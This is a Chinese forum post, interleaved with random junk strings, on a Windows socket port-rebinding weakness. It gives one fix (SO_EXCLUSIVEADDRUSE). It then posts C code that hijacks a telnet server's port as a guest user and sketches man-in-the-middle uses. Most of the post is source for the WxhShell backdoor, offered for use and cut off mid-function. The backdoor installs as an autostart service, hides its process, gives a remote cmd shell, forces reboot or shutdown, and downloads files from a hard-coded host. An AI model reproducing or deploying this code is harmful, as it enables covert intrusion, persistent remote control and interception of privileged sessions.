-
UID:1177
-
- 注册时间2006-03-21
- 最后登录2009-03-24
- 在线时间675小时
-
- 发帖3743
- 搜Ta的帖子
- 精华
1
- 铜板8
- 人品值493
- 贡献值9
- 交易币0
- 好评度3746
- 信誉值0
- 金币0
-
访问TA的空间加好友用道具
- 发帖
- 3743
- 铜板
- 8
- 人品值
- 493
- 贡献值
- 9
- 交易币
- 0
- 好评度
- 3746
- 信誉值
- 0
- 金币
- 0
- 所在楼道
|
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: dWiNe!oY2 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); F"k`PF*b keRLai7h saddr.sin_family = AF_INET; au+Jz_$) |yO%w # saddr.sin_addr.s_addr = htonl(INADDR_ANY); 3{|~'5* LYL_Ah'= bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); =|aZNHqH rf|Nu3AJ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 F7O*%y.'; g$#A'Du 这意味着什么?意味着可以进行如下的攻击: x$` lQ% [(_,\:L${ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 u28$V]
>Rt:8uurAG 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 68h1Wjg:"! ;f[##=tm 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 -r<8mL:yW Hy\q{ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 As>Og )#i"hnYpQ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 (_ :82@c Z]Udx 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 +`gU{e,p 6M7GPHah 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 0nCiN;sA T^#d;A #include nlhv #include Gr&e]M[ l #include "IQYy~
/ #include 2;>uP#1] DWORD WINAPI ClientThread(LPVOID lpParam); dtY8>klI int main() goyDG/ { d9S?dx WORD wVersionRequested; ?'a>?al%> DWORD ret; \.i ejB WSADATA wsaData; dF 6od BOOL val; BNE:,I*& SOCKADDR_IN saddr; 2 f%+1uU SOCKADDR_IN scaddr; q'y<UyT6 int err; ~ehN%- SOCKET s; KwaxNb5 SOCKET sc; -&1P2m/46 int caddsize; X!~y&[;[C HANDLE mt; 6A=k;do DWORD tid; o[eZ"}~ wVersionRequested = MAKEWORD( 2, 2 ); h,&{m*q& err = WSAStartup( wVersionRequested, &wsaData ); F?FfRzZ[ if ( err != 0 ) { tKuJ &I~ printf("error!WSAStartup failed!\n"); IIGx+> return -1; GNuIcy } 0Ba]Zo Z saddr.sin_family = AF_INET; e, 2/3jO 9dAtQwGR"6 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 NhTJB7 nvwf!iU6 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); *CQZ6&^ saddr.sin_port = htons(23); Ja&S_'P[ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *]R5bj.!o { aY.cx1" printf("error!socket failed!\n"); #ucb return -1; :t "_I } {fV$\^c val = TRUE; #UwX~ //SO_REUSEADDR选项就是可以实现端口重绑定的 E8nj_^Z if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 9I<~t@q5e@ { W{Z7= printf("error!setsockopt failed!\n"); {' 0#<Z return -1; n`w]? bL } #rr!ApJ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ^\`a-l^ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 v#s*I/kw //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 o-l-Z|)7 [iO8R-N8d if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) dcq18~ { I#;dS!W"' ret=GetLastError(); j6k"%QHf printf("error!bind failed!\n"); Z'!ORn#M return -1; ]i0=3H2 } 0T(+z)Ki listen(s,2); lEHXh2 while(1) 9v-Y*\!w. { /5L\:eX% caddsize = sizeof(scaddr); &!WRa@x0I //接受连接请求 1(>2tEjYT sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); rMjb,2*rC7 if(sc!=INVALID_SOCKET) M?}:N_9<J { {29aNm mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); u=]*,,5< if(mt==NULL) ~QPTs1Vk8 { sSGXd=": printf("Thread Creat Failed!\n"); 52#6uBe break; s]kzXzRC? } olxxs( } A! HJ
CloseHandle(mt); LdNpb;* } OA\]|2 : closesocket(s); \~Z%}$ = WSACleanup(); :KXI@)M return 0; ,1Z([R* } eu_ZsseZ DWORD WINAPI ClientThread(LPVOID lpParam) j}
^3v # { b30Jr2[ SOCKET ss = (SOCKET)lpParam; $>yfu=]? SOCKET sc; k_1@?&3 unsigned char buf[4096]; <BZC5b6 SOCKADDR_IN saddr; VX8CEO long num; whHuV*K} DWORD val; 39P55B/o% DWORD ret; =GF=_Ac //如果是隐藏端口应用的话,可以在此处加一些判断 {}Is&^3Z //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 uG6.(A1LM saddr.sin_family = AF_INET; 2?Jw0Wq5D saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); !|u?z% saddr.sin_port = htons(23); EleJ$ `/ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) em0Y' J { w <"mS*Q printf("error!socket failed!\n"); a`f@&A`z return -1; #\D74$D } ,i<cst)$u val = 100; T=M##`jP% if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) c6c@XdV { s>L.V2!$0 ret = GetLastError(); Ny$3$5/ return -1; Kn@#5MC
rU } .43cI( if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) KZZ Y9 { $m*Gu:#xm& ret = GetLastError(); WR"1d\m: return -1; Khc^q*|C) } "P(obk if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Lkx~>U
{ @d 7V@F0d printf("error!socket connect failed!\n"); },JJ!3 closesocket(sc); #m?)XB^_ closesocket(ss); <y^_&9 return -1; LOfw
#+]d } "H`Be while(1) ][?J8F { -wg}X-'z0 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 jED.0,+K! //如果是嗅探内容的话,可以再此处进行内容分析和记录 ,z/aT6M?H //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 I%a-5f$0 num = recv(ss,buf,4096,0); [
fzYC'A= if(num>0) ml1%C% send(sc,buf,num,0); ?-mOAHW0q else if(num==0) L98T!5) break; .|R4E num = recv(sc,buf,4096,0); _r\M}lDh* if(num>0) 8^j~uH send(ss,buf,num,0); n^ fUKi*; else if(num==0) I(pq3_9$ break; r W[;3yMf
} ztSQrDbbb4 closesocket(ss); C2v_],] closesocket(sc); AK&>3D return 0 ;
Fl=H5HR } Wmcd{MOS d:K\W[$Bz ;j1E 6 ========================================================== <Jhd%O ]Rxo}A 下边附上一个代码,,WXhSHELL 6 V0Ayxg7 fy"}#
2 ========================================================== 3_XLx{["' r@zT!.sc! #include "stdafx.h" (wZ!OLY%} z6E =%-` #include <stdio.h> 4mo/MK&M: #include <string.h> mXyP;k #include <windows.h> o$.#A]Flb #include <winsock2.h> 3jxC}xz) #include <winsvc.h> ?}s;,_GH #include <urlmon.h> j%nN*ms 9Tt%~m^ #pragma comment (lib, "Ws2_32.lib") sS}:O d #pragma comment (lib, "urlmon.lib") ^*.$@M 2'S&%UyP #define MAX_USER 100 // 最大客户端连接数
J3
Q_ #define BUF_SOCK 200 // sock buffer u)r/#fUZ #define KEY_BUFF 255 // 输入 buffer <<MpeMi WC~;t4 #define REBOOT 0 // 重启 (y>N\xS9 #define SHUTDOWN 1 // 关机 !s=$UC Gr2}N"X= #define DEF_PORT 5000 // 监听端口 t(*n[7e 'M"z3j]m-, #define REG_LEN 16 // 注册表键长度 6J,h}S #define SVC_LEN 80 // NT服务名长度 oa"Bpi9i /OztkThx= // 从dll定义API 3/n?g7B typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); h76j|1gI typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 06.%9R{ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); kb2C9< typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); L!Y|`P#Yr .2JZ7 // wxhshell配置信息 >]~581fYf struct WSCFG { G^)]FwTs int ws_port; // 监听端口 }5vKQf char ws_passstr[REG_LEN]; // 口令 9abUh3 int ws_autoins; // 安装标记, 1=yes 0=no '/HShS!d char ws_regname[REG_LEN]; // 注册表键名 49*f=gpGj2 char ws_svcname[REG_LEN]; // 服务名 R|qrK char ws_svcdisp[SVC_LEN]; // 服务显示名 ^\gb|LEnK char ws_svcdesc[SVC_LEN]; // 服务描述信息 o!UB x<4 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 vf3) T;X> int ws_downexe; // 下载执行标记, 1=yes 0=no uZn_*_J! char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" ZzE( S char ws_filenam[SVC_LEN]; // 下载后保存的文件名 G^d3$7 8` +=~S }; GW>F:<p =A6*;T"W // default Wxhshell configuration wGLMLbj5 struct WSCFG wscfg={DEF_PORT, ENhLonMeV "xuhuanlingzhe", q&@s/k 1, r[Pp[g-J "Wxhshell", k)>H=?mI "Wxhshell", ^ou)c/68aQ "WxhShell Service", 6t; ;Fz "Wrsky Windows CmdShell Service", Gn
9oInY1 "Please Input Your Password: ", 2Ty]s~ 1, 9~~NxWY%x " http://www.wrsky.com/wxhshell.exe", L-?ty@-i "Wxhshell.exe" tdRvg7v,N% }; xbCR4upS Ne<S_u2nT // 消息定义模块 dnD@BQ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <MG&3L.[ char *msg_ws_prompt="\n\r? for help\n\r#>"; &l2xh~L char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; [G8EX3 char *msg_ws_ext="\n\rExit."; A-4;$
QSm char *msg_ws_end="\n\rQuit."; AAa7)^R char *msg_ws_boot="\n\rReboot..."; xT&~{,9 char *msg_ws_poff="\n\rShutdown..."; Ich^*z(F$ char *msg_ws_down="\n\rSave to "; ~vDa2D<9% &'^.>TJ\ char *msg_ws_err="\n\rErr!"; "v?F4&\ 8 char *msg_ws_ok="\n\rOK!"; If'2
m_ nQV0I"f]?] char ExeFile[MAX_PATH]; {?lndBP< int nUser = 0; ')q4d0B`" HANDLE handles[MAX_USER]; %R?7u'=~ int OsIsNt; rVP\F{Q4Tr *CXc{{ SERVICE_STATUS serviceStatus; 15J"iN2"W SERVICE_STATUS_HANDLE hServiceStatusHandle; ]CLM'$ eef&ZL6g // 函数声明 (
y!o int Install(void); 1LS1 ZY int Uninstall(void); `Ns@W? int DownloadFile(char *sURL, SOCKET wsh); (8m_ GfT int Boot(int flag); R/"f void HideProc(void); `,SL\\%u int GetOsVer(void); zB0*KgAn{ int Wxhshell(SOCKET wsl); _ab8z]H void TalkWithClient(void *cs); U)f('zD int CmdShell(SOCKET sock); `PAQv+EYz int StartFromService(void); P9
HKev?y int StartWxhshell(LPSTR lpCmdLine);
Z:^#9D{ 3);P!W4> VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $=diG VOID WINAPI NTServiceHandler( DWORD fdwControl ); 'dBe,@ 36{OE!,i // 数据结构和表定义 <o|fH~?X SERVICE_TABLE_ENTRY DispatchTable[] = v\|jkzR5Y { h(yFr/ {wscfg.ws_svcname, NTServiceMain}, v\dQjQu8m {NULL, NULL} fx+_;y }; wG MhKZE P\K#q%8 // 自我安装 Pa0W|q#?X int Install(void) tf 7HhOCYX { U -OD char svExeFile[MAX_PATH]; F%a&|X HKEY key; !;8Y?c-D strcpy(svExeFile,ExeFile); RuYIG?J=/
)nf%S+KV // 如果是win9x系统,修改注册表设为自启动 6bUP]^d if(!OsIsNt) { D$4GNeB+# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %XN;S29d5W RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -4+'(3qr RegCloseKey(key); `},:dDHI if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @!oN]0`F; RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sXEIC#rq RegCloseKey(key); )/DN>rU return 0; f_O| } ?jfh'mCA } #!z-)[S.+ } >;Oa|G else { _Jg#T~ %[KnpJ{\ // 如果是NT以上系统,安装为系统服务 vkJyD/;= SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); GC# [&>L if (schSCManager!=0) (*r2bm2FPO { X%s5D&gr SC_HANDLE schService = CreateService <%3fJt-Ie ( N[O .p]8 schSCManager, <2@t~9 wscfg.ws_svcname, [sG`D-\P[ wscfg.ws_svcdisp, A4(L47^ SERVICE_ALL_ACCESS, R5QW4i9 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , gQik>gFr SERVICE_AUTO_START, <<S4l~"o SERVICE_ERROR_NORMAL, U%r{{Q1 svExeFile, i#YDdz NULL, d(t)8k$ NULL, X~m57bj NULL, ynra%"sd NULL, dEXhn NULL z5({A2q ); [wSoZBl if (schService!=0)
i / o { mQ}\ptdfV CloseServiceHandle(schService); OO/>}? ob CloseServiceHandle(schSCManager); BeRs;^r+ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `m1stK(PO strcat(svExeFile,wscfg.ws_svcname); +1qvT_ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { o"RE4s\G~r RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); EhO\N\p(Q= RegCloseKey(key); pvt/{ return 0; IuPDr % } A<H]uQ> } % O%;\t CloseServiceHandle(schSCManager); BSy4
d> } P/~dY[6m } Th,]nVsGs~ oIE(`l0l return 1; yT3K 2A } _kOuD}_| nC/T$
#G // 自我卸载 ocW`sE?EED int Uninstall(void) -$s1k~o { lKI]q<2 HKEY key; 3S^Qo9S )`5-rm~* if(!OsIsNt) { !Y^$rF-+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0~<t :q! RegDeleteValue(key,wscfg.ws_regname); .*FlB>1jy RegCloseKey(key); zSsogAx if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R'K /\ RegDeleteValue(key,wscfg.ws_regname); e!i.u'z RegCloseKey(key); F+xMXBD@>* return 0; Grd9yLF } /e*<-a } l%2B4d9"v } wL0"1Ya else { =g@hh)3wP jaux:fU SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0XIrEwm@% if (schSCManager!=0) XnvaT(k7Y { x~yd/ R SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 10/3 -)+ if (schService!=0) H
@E-=Ly { R?%|RCht1 if(DeleteService(schService)!=0) { Sag\wKV8 CloseServiceHandle(schService); |om3* ]7 CloseServiceHandle(schSCManager); U`'w{~"D% return 0; @1[LD[< } [c6_6q As CloseServiceHandle(schService); aR;Q^YJ+a }
UuA=qWC CloseServiceHandle(schSCManager); C[$<7Mi|; } G}~b } 8|Y^z_C Z=sAR(n}~ return 1; B "}GAk}V } qOa-@MN [K9q+ // 从指定url下载文件 vqxTf)ys int DownloadFile(char *sURL, SOCKET wsh) &q` =xF { j({L6</x HRESULT hr; G6Fg<g9: char seps[]= "/"; qC|re!K char *token; EGMcU|yL char *file; >"nk}@ char myURL[MAX_PATH]; p0YTZS ]h char myFILE[MAX_PATH]; {5z?5i ?D W]*wxzf!5z strcpy(myURL,sURL); y! 1NS token=strtok(myURL,seps); {S&&X&A`v while(token!=NULL) 3 \WdA$Wx { EX5kF file=token; ]ogy`O > token=strtok(NULL,seps); #5I "M WA } 5Np. & +1623E GetCurrentDirectory(MAX_PATH,myFILE); |Z/ySAFM strcat(myFILE, "\\"); ! O>mu6:Rf strcat(myFILE, file); CUd'*Ewu send(wsh,myFILE,strlen(myFILE),0); 5LK>n- send(wsh,"...",3,0); 6u7HO-aa hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); pV+;/y_ if(hr==S_OK) y|mR'{$I return 0; dk ?0r else nC Z return 1; )G|UB8] S9BJjo } u!S{[7 FY rYqvG // 系统电源模块 X[[=YCi0 int Boot(int flag) pQ hv3F { _B[(/wY HANDLE hToken; _8>"&1n TOKEN_PRIVILEGES tkp; (TQXG^n$gY WQ]pg
" if(OsIsNt) { w?C\YKF7 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /P%:u0fX, LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); PTh
Ya tkp.PrivilegeCount = 1; aU! UY( tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~eP2PG AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); '$VR_N\ if(flag==REBOOT) { D.e*IP1R if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) z=U!D `]v return 0; m~K]|]iqQ } {1+H\(v else { B+LNDnjO] if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )em.KbsPPF return 0; GSH{1VS_b } 1DP)6{x } qr9F else { `<n:D`{dZ if(flag==REBOOT) { L9@jmh*E if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) mI%/k7:sf return 0; $\
'\@3o } g]#Wve else { v2'JL(= if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) K;PpS*! return 0; nmGHJb,$ } Ul
Iw&U } 4o3GS8 *&]l return 1; *@nUas2" } |_*$+ O@rb4( // win9x进程隐藏模块 [Bo$? void HideProc(void) ise}> A!t { ;>9pJ72r #Au&2_O HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); E6k&r} if ( hKernel != NULL ) ay4xOwcR { F948%?a pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }i:'f2/ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); G65N: FreeLibrary(hKernel); "S:N-Tf%U } 9,CC1f 2\de |' return; 5QJL0fc } GcW}<g} ,IE0+!I // 获取操作系统版本 RzQS@^u*F0 int GetOsVer(void) [i7)E]*oTA { 1 ,'^BgI, OSVERSIONINFO winfo; +hgCk87%# winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); VYo;[ue([ GetVersionEx(&winfo); ~+yo;[1Yc if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) V&v~kzLr+ return 1; {C6;$#7P else /8\&f%E return 0; 0K0=Ob^(e } v^fOT5\ 98'XSL| // 客户端句柄模块 `0|&T;7 int Wxhshell(SOCKET wsl) Eo&qc 17)` {
hP8&n9o SOCKET wsh; Tk&9Klo struct sockaddr_in client; }yDq\5s
Q[ DWORD myID; C/XyDbH fcXk]W while(nUser<MAX_USER) #-j!
;? { XYF~Q9~ int nSize=sizeof(client); b2%bgs wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <|Eby!KXR if(wsh==INVALID_SOCKET) return 1; +\vY; !^ <SdJM1%Qo handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @i-@mxk6< if(handles[nUser]==0) F6]!?@ closesocket(wsh); 6v O)s!b else -G#@BtB2+ nUser++; B\>}X_\4 } N%|Vzc WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); fUKdC\WL `+BaDns return 0; bK$D lBZ } j{Jc6U !_H8Q}a // 关闭 socket tSc>@Q_| void CloseIt(SOCKET wsh) A6 y~_dt { C"Q=(3 closesocket(wsh); as|c`4r\O nUser--; jI2gi1,a ExitThread(0); jsi#l } _6S
b.9m EJ;0ypbG // 客户端请求句柄 /Q>{YsRRB void TalkWithClient(void *cs) bo !] { cc(r,ij~4 D)ne *}, SOCKET wsh=(SOCKET)cs; fy=C!N&/ char pwd[SVC_LEN]; 4OZ5hH
h char cmd[KEY_BUFF]; y_4krY|Zx char chr[1]; 9_A0:S9Z int i,j; H0b6ZA%n vV\F^ while (nUser < MAX_USER) { Q'Kik5I Re,$<9V if(wscfg.ws_passstr) { _
kSPUP5 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .Lr)~ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rE{Xo:Cf //ZeroMemory(pwd,KEY_BUFF); &;h~JS= i=0; Vkvb= while(i<SVC_LEN) { &Wz`>qYL* &c<}++'h // 设置超时 Fx[A8G fd_set FdRead; Z(k\J|&9C struct timeval TimeOut; )lDIzLp FD_ZERO(&FdRead); e=n{f*KG` FD_SET(wsh,&FdRead); U_}A{bFG TimeOut.tv_sec=8; m!#)JFe67 TimeOut.tv_usec=0; X!#i@V int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Y zBA{FE if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *n*N|6+ VkTlPmr if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VM]GYz|#] pwd =chr[0]; (XG[_ if(chr[0]==0xd || chr[0]==0xa) { ULNAH`{D pwd=0; Y7:Y{7E7 break; 4`UL1)A] } fr'huvc i++; }$0xt' q& } 3?*M{Y| :B*vkwT // 如果是非法用户,关闭 socket VTJIaqw if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); yK&*,J
| } 3u?`q%Y-e AJ#m6`M+EK send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :<N6i/ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); orB8Q\p' r{q}f) while(1) { 0 .FHdJ< %7NsBR!y ZeroMemory(cmd,KEY_BUFF); $@_<$t Tbi]oB# // 自动支持客户端 telnet标准 W8G9rB|T j=0; { p!_-sL while(j<KEY_BUFF) { y7M:b Uh if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); up3?$hUc. cmd[j]=chr[0]; $c@w$2 if(chr[0]==0xa || chr[0]==0xd) { && DD cmd[j]=0; %_b^!FR break; w\o)bn } yV J dZ I j++; Ue{vg$5|| } /lS+J(I 6 Iv( // 下载文件 " K 8&{= if(strstr(cmd,"http://")) { <$i"zb send(wsh,msg_ws_down,strlen(msg_ws_down),0); VG<Hw{ c3r if(DownloadFile(cmd,wsh)) gf68iR.Gs send(wsh,msg_ws_err,strlen(msg_ws_err),0); jFuC=6aF else SUH mBo"} send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4AY
_#f5u } Lh8bQH else { s;fVnaqG: xl+DRPzl switch(cmd[0]) { U,Z"G1^ G3RrjWtO // 帮助 $nB-ADRu@ case '?': { DR
k]{^C~ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); r-RCe3%g% break; \C]i|]tl }
2[Z0I4r // 安装 *:=];1O case 'i': { v!NB~"LQ if(Install()) ^ckj3Y#; send(wsh,msg_ws_err,strlen(msg_ws_err),0); nE/=:{~Ws else J0^{,eY< send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m"lE&AM64p break; v~^ks{ } 1<xcMn0et // 卸载 kWB, ;7 case 'r': { 9pWi.J if(Uninstall()) ET U-]R 3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); [f<"p[ else
MKU7fFN. send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q`H#
fS~ break; \Ut6; } hVMYB_<~ // 显示 wxhshell 所在路径 TE3*ktB{N case 'p': { 4\p$4Hs} char svExeFile[MAX_PATH]; :3JCvrq strcpy(svExeFile,"\n\r"); Vy]A,Rn7 strcat(svExeFile,ExeFile); +'-rTi\ send(wsh,svExeFile,strlen(svExeFile),0); ($c`s8mp break; q1 H=/[a } KwS`3 6: // 重启 M]c7D`%s case 'b': { @4;&hP2Z: send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); lp(Nv(S if(Boot(REBOOT)) Z;hyi'rPJ send(wsh,msg_ws_err,strlen(msg_ws_err),0); )AOPiC$jL else { _*Pfp+if closesocket(wsh); DL,[k
( ExitThread(0); :3v9h^|+ } PNf&@ break; C5Xof|#p| } ?4,@,
ae& // 关机 s3seK6x' case 'd': { ?FN9rhAC send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^]VcxKU J if(Boot(SHUTDOWN)) H"_v+N5= send(wsh,msg_ws_err,strlen(msg_ws_err),0); d<#p %$A4 else { 0C]4~F x~ closesocket(wsh); i-b1d'?Rb ExitThread(0); GA\2i0ow } bhYU5I 9 break; V{0%xz # } Hq?& Qo // 获取shell 8'KMxR case 's': { M|k&TTV CmdShell(wsh); hfg
O closesocket(wsh); ;}D-:J-z_ ExitThread(0); SiV*WxQe break; uJY.5w } bEd?^h // 退出 +8f>^*:u case 'x': { &Pq\cNYzW send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Zi/-~')E CloseIt(wsh); T%kKVr break; \-OC|\{32 } i:d`{kJ|[ // 离开 "Hht
g: case 'q': { b/nOdFO@ send(wsh,msg_ws_end,strlen(msg_ws_end),0); lUHtjr closesocket(wsh); j;iL&eo> WSACleanup(); 4\ FP exit(1); b+Vi3V break; vU}: U)S } #W|!fILL } VhvTBo<cw } >jMH#TZaX 2:'lZQ // 提示信息 1i'Zei) if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PBrnzkoY } TV=c,*TV } E0YU[([G r?^"65= return; Vv4H:BK$ } sJ~P:g qlUzr.^- // shell模块句柄 W2 <3C int CmdShell(SOCKET sock) D0 ruTS { TsD;Kl1 STARTUPINFO si; v459},!P ZeroMemory(&si,sizeof(si)); @.ZL7$|d si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; io2@}xZF si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; oy5+}` PROCESS_INFORMATION ProcessInfo; L/x(RCD char cmdline[]="cmd"; W-XpJ\_ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ffk4mhH return 0; wyw <jH } tS<h8g_ -:SIS`0s // 自身启动模式 El
(/em int StartFromService(void) 8l23%iWxe { JZ=5Bpw typedef struct b_vTGl1_6 { 3dG4pl~ DWORD ExitStatus; %[Zz0|A DWORD PebBaseAddress; lzDdD3Ouc DWORD AffinityMask; ]"sRS`0+
DWORD BasePriority; v[&'k\ ULONG UniqueProcessId; ,I`_F, ULONG InheritedFromUniqueProcessId; cPuHLwwYf } PROCESS_BASIC_INFORMATION; e$wt&^W Uh}X<d/V PROCNTQSIP NtQueryInformationProcess; Spgg+;9 B 8{
